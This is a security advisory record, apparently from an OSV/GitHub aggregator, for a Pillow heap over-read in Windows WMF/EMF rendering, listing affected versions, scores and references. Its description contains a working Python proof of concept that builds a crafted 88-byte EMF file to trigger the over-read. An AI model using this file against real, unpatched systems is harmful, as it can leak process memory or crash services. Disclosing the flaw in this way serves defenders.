{"id":"GHSA-9v9v-9qvf-h2hj","aliases":["CVE-2026-96644","PYSEC-2026-4343"],"title":"Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"HIGH","description":"### Summary\nOn Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native `drawwmf` handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.\n\n### Details\nThe EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:\n\n- `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`.\n\nIn the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:\n\n- `src/display.c:793-794` assign the 16-bit fields\n- `src/display.c:800` sizes the allocation from them\n- `src/display.c:827` copies `height * ((width * 3 + 3) & -4)` bytes using the full values\n\nThe whole handler is compiled only on Windows (`#ifdef _WIN32`, `src/display.c:33-841`).\n\n### PoC\n```python\nimport struct\nfrom PIL import Image\n\ndef L(v):\n    return struct.pack(\"<i\", v)\n\n# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the\n# decompression-bomb check, but the width truncates to 16 bits for the allocation while\n# the copy uses 70000.\nemf  = b\"\\x01\\x00\\x00\\x00\" + L(88)          # record type + size\nemf += L(0) + L(0) + L(70000) + L(1)        # rclBounds: x0, y0, x1, y1\nemf += L(0) + L(0) + L(100) + L(100)        # rclFrame (non-zero, used for the dpi calc)\nemf += b\" EMF\"                              # signature at offset 40\nemf += bytes(44)\nopen(\"poc.emf\", \"wb\").write(emf)\n\nim = Image.open(\"poc.emf\")\nprint(\"size:\", im.size, \"pixels:\", im.size[0] * im.size[1])\nim.load()                                   # over-read happens here on a Windows build\n```\n\nOn Linux the first part is observable: the 88-byte file opens, `size` is `(70000, 1)`, and the bomb check passes. The native over-read only exists on Windows because `Image.core.drawwmf` is compiled out elsewhere (on Linux `im.load()` raises `OSError` instead).\n\n### Impact\nCWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.","severity":"high","score":8.1,"published":"2026-10-21T20:54:43.537Z","modified":"2026-10-28T18:22:38.027Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"PyPI","name":"pillow","sources":[{"name":"OSV · GHSA-9v9v-9qvf-h2hj","url":"https://osv.dev/vulnerability/GHSA-9v9v-9qvf-h2hj"}],"ranges":[{"events":[{"introduced":"0"},{"fixed":"13.0.0"}],"type":"ECOSYSTEM"}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"fixed":["13.0.0"]},{"ecosystem":"PyPI","name":"pillow","sources":[{"name":"OSV · PYSEC-2026-4343","url":"https://osv.dev/vulnerability/PYSEC-2026-4343"}],"ranges":[{"events":[{"introduced":"0"},{"fixed":"13.0.0"}],"type":"ECOSYSTEM"}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"fixed":["13.0.0"]}],"sourceAffected":[],"references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-9v9v-9qvf-h2hj","https://nvd.nist.gov/vuln/detail/CVE-2026-96644","https://github.com/python-pillow/Pillow/pull/10120","https://github.com/python-pillow/Pillow/commit/4cf46bee338304c5c8968fd7f132ba0d40c428b7","https://github.com/python-pillow/Pillow","https://github.com/python-pillow/Pillow/releases/tag/13.0.0"],"sources":[{"name":"OSV","id":"GHSA-9v9v-9qvf-h2hj","modified":"2026-10-28T11:10:35.068786251Z","url":"https://osv.dev/vulnerability/GHSA-9v9v-9qvf-h2hj"},{"name":"OSV","id":"PYSEC-2026-4343","modified":"2026-10-28T11:00:02.237809671Z","url":"https://osv.dev/vulnerability/PYSEC-2026-4343"},{"name":"CVE","id":"CVE-2026-96644","modified":"2026-10-28T18:22:38.027Z","url":"https://www.cve.org/CVERecord?id=CVE-2026-96644"}],"assessments":[{"source":"OSV","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N","score":7.1},{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H","score":8.1},{"source":"GitHub_M","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N","score":7.1}],"products":[{"vendor":"python-pillow","name":"Pillow","platforms":[],"versions":[{"version":"< 13.0.0","status":"affected"}],"source":"GitHub_M","url":"https://www.cve.org/CVERecord?id=CVE-2026-96644"}],"remediation":[],"kev":{"status":"not-listed","checkedAt":"2026-10-29T01:05:31.700Z"},"coverage":[{"source":"NVD","status":"available","checkedAt":"2026-10-28T12:05:31.156Z","attemptedAt":"2026-10-28T12:05:31.156Z"},{"source":"GHSA","status":"available","checkedAt":"2026-10-28T12:05:31.272Z","attemptedAt":"2026-10-28T12:05:31.272Z"},{"source":"EUVD","status":"available","checkedAt":"2026-10-28T12:05:30.872Z","attemptedAt":"2026-10-28T12:05:30.872Z"},{"source":"EPSS","status":"available","checkedAt":"2026-10-28T12:05:30.872Z","attemptedAt":"2026-10-28T12:05:30.872Z"}],"evidence":[{"source":"ENISA EUVD","id":"EUVD-2026-107563","url":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-107563","modified":"Oct 21, 2026, 8:54:43 PM","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N","checkedAt":"2026-10-28T12:05:30.872Z"},{"source":"FIRST EPSS","id":"CVE-2026-96644","url":"https://www.first.org/epss/","probability":0.00412,"percentile":0.35227,"date":"2026-10-27","checkedAt":"2026-10-28T12:05:30.872Z"},{"source":"NVD","id":"CVE-2026-96644","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96644","modified":"2026-10-27T14:27:15.280","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","checkedAt":"2026-10-28T12:05:31.156Z"},{"source":"NVD","id":"CVE-2026-96644","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96644","modified":"2026-10-27T14:27:15.280","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H","checkedAt":"2026-10-28T12:05:31.156Z"},{"source":"GitHub Advisory Database","id":"GHSA-9v9v-9qvf-h2hj","url":"https://github.com/advisories/GHSA-9v9v-9qvf-h2hj","modified":"2026-10-22T16:03:16Z","checkedAt":"2026-10-28T12:05:31.272Z"}]}